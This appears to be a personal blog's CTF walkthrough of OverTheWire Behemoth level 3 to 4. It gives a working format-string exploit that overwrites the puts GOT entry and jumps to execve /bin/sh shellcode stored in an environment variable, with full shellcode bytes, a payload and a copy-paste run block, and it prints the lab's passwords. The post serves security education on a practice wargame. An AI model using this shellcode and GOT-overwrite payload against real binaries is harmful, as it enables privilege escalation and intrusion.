Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Behemoth Level 3 → 4 tutorial!!

Login

Log in as behemoth3 using the password from Level 2 → 3.

ssh behemoth3@behemoth.labs.overthewire.org -p 2221
# password: nietiediel

Task

The binary /behemoth/behemoth3 is vulnerable to a format string attack. Our goal: exploit it to redirect execution into our shellcode and escalate to behemoth4.


A little bit of Theory

  • Format string vulnerability: happens when user input is passed directly to printf() instead of printf("%s", input).
  • With %x, we can dump stack values.
  • With %n, we can write to arbitrary memory addresses.
  • By overwriting a Global Offset Table (GOT) entry (like puts@GOT), we can redirect program flow.
  • Combine with shellcode in an environment variable → we gain a shell.

Tools we’ll use:

  • objdump -R → list GOT entries
  • gdb → debugging / testing
  • a helper /tmp/find_addr → leak env var addresses

Solution

1. Run the binary to observe behavior

cd /behemoth
./behemoth3
Identify yourself: test
Welcome, test
aaand goodbye again.

👉 Nothing suspicious at first glance. Let’s try format specifiers:

./behemoth3
Identify yourself: %x.%x.%x
Welcome, 80485c0.8048330.bffff4a8
aaand goodbye again.

Explanation: The binary printed out raw stack values. ✅ This confirms a format string bug.


2. Locate GOT entry of puts

objdump -R behemoth3 | grep puts

Output:

080497ac R_386_JUMP_SLOT  puts@GLIBC_2.0

👉 GOT entry for puts is at 0x080497ac. If we overwrite this address with our shellcode address, when the program calls puts, it will jump into our code.


3. Prepare shellcode in an environment variable

Classic Linux x86 execve(“/bin/sh”) shellcode:

export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
  • 20*"\x90" → NOP sled to increase landing zone.
  • The rest is the shellcode that spawns /bin/sh.

4. Find the runtime address of $SHELLCODE

Compile helper:

// /tmp/find_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
    printf("%s is at %p\n", argv[1], getenv(argv[1]));
    return 0;
}
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE

Example output:

SHELLCODE is at 0xffffde75

👉 That’s the address we’ll redirect execution to.


5. Craft format string exploit

We want to overwrite 0x080497ac with 0xffffde75. Trick: break it into two 16-bit chunks because %hn writes half-words.

  • Lower 2 bytes: 0xde75 (56949 decimal)
  • Upper 2 bytes: 0xffff (65535 decimal)

We’ll place the GOT address twice on the stack (\xac\x97\x04\x08 and \xae\x97\x04\x08), then use %hn to write values in order.

Payload example:

(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)

Explanation:

  • First %hn writes 0xde75 into lower half of GOT address.
  • Second %hn writes 0xffff into upper half.
  • GOT entry now points to our shellcode.

6. Trigger the exploit

If successful, when the program tries to call puts(), it will instead jump into our $SHELLCODE:

whoami
# behemoth4
cat /etc/behemoth_pass/behemoth4

Output:

ietheishei

🎉 That’s the next password.


Password

ietheishei

Troubleshooting

  • Segfault before shell → Adjust padding values (%xxxxxx) until they align exactly.
  • Wrong GOT entry → Double-check with objdump -R behemoth3.
  • Different env address → Re-run /tmp/find_addr SHELLCODE, addresses shift slightly.
  • Forgot little endian → Always write GOT addresses as \xac\x97\x04\x08.
  • Use %hn not %n%n writes full 32-bit, likely to crash.

Copy-paste quick run

ssh behemoth3@behemoth.labs.overthewire.org -p 2221

# 1. Set shellcode
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')

# 2. Leak its address
/tmp/find_addr SHELLCODE
# Example: 0xffffde75

# 3. Exploit
cd /behemoth
(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)

# 4. Get shell & password
whoami
cat /etc/behemoth_pass/behemoth4

Congrats 🎉 You just exploited a format string bug, overwrote the GOT entry of puts with your shellcode address, and escalated to behemoth4!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with